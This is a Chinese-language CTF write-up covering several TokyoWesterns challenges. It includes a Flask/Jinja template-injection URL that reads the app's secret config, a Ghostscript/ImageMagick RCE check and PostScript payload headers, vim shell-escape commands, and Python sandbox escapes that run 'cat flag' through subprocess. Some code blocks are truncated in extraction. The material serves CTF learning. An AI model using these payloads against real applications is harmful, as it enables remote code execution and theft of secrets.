SimpleAuth
1 |
|
payload:
http://simpleauth.chal.ctf.westerns.tokyo/?hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e&action=auth
Shrine
1 |
|
递归打印对象的所有字属性
1 | def search(obj, max_depth): |
寻找config
1 | for path, obj in search(flask.request, 10): |
obj.application.__self__._load_form_data.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']
除了request
对象之外,其他全局变量类似于g
, session
通过更多或更少层次的遍历,也是可以找到flag。
flask全局参数(变量+方法): config
, request
,g
,session
,self
, url_for
。
payload
1 | http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Brequest.application.__self__._load_form_data.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']%7D%7D |
1 | url_for.__globals__['current_app'].config.FLAG |
Slack emoji converter
1 |
|
这段代码本身没有问题,问题出在依赖的PIL.Image
库,该库依赖于ImageMagick
。可以通过sudo apt-get install imagemagick
ImageMagick1day利用。
代码:
1 | python: newimg = img.resize((int(w*r), int(h*r))) |
主要是imagemaick的ghost script RCE漏洞。
1 | gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null |
若成功执行则存在漏洞。
ubuntu下payload:
shell.jpeg:
1 | %!PS |
运行:
convert shell.jpeg what.gif
结果:
1 | qianfa@qianfa:~/goscript$ convert shell.jpeg what.gif |
在该题目中由于使用PIL,PIL会检查图片的尺寸,所以该payload无法生效。需要改造一下。
r3kapig:
1 | %!PS-Adobe-3.0 EPSF-3.0 |
BambooFox:
1 | %!PS-Adobe-1.0 |
vimshell
:
, g
and Q
三个字符从vim中去掉了,但是没有去掉K
,
在文件中命令之前,比如diff
前边按K
可以显示man diff
,也就是diff
的帮助命令,
然而man
可以执行命令。
!ls /
!cat /flag
或者:
chrome -app=https://vimshell.chal.ctf.westerns.tokyo
Ctrl + W -> :! cat /flag
pysandbox
1 | import sys |
官网过滤https://docs.python.org/2/library/ast.html:
1 | expr = BoolOp(boolop op, expr* values) |
区别案例:
Original | Implemented Checks | Unchecked parts |
---|---|---|
Lambda(arguments args, expr body) | ‘Lambda’: [‘body’] | args |
ListComp(expr elt, comprehension* generators) | ‘ListComp’: [‘elt’] | generators |
Subscript(expr value, slice slice, expr_context ctx) | Subscript’: [‘value’] | slice, ctx |
payload:
list:
[e for e in list(open('flag'))]
[1 for x in [eval("sys.stdout.write(repr([t for t in ().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__.__globals__['__builtins__']['__import__']('subprocess').check_output('cat flag', shell=True)))")]]
Subscript:
[][sys.stdout.write(open('flag').read())]
我们以Subscript
为例, 打印ast.parse
处理后的结果:
1 | expr = "[][sys.stdout.write(open('shell.php').read())]" |
我们可以发现表达式被解析成几个部分:value
, slice
, ctx
1 | Module(body=[Expr(value=Subscript(value=List(elts=[], ctx=Load()), slice=Index(value=Call(func=Attribute(value=Attribute(value=Name(id='sys', ctx=Load()), attr='stdout', ctx=Load()), attr='write', ctx=Load()), args=[Call(func=Attribute(value=Call(func=Name(id='open', ctx=Load()), args=[Str(s='shell.php')], keywords=[], starargs=None, kwargs=None), attr='read', ctx=Load()), args=[], keywords=[], starargs=None, kwargs=None)], keywords=[], starargs=None, kwargs=None)), ctx=Load()))]) |
sandbox中仅仅检查了value
,因而,可以绕过该sandbox。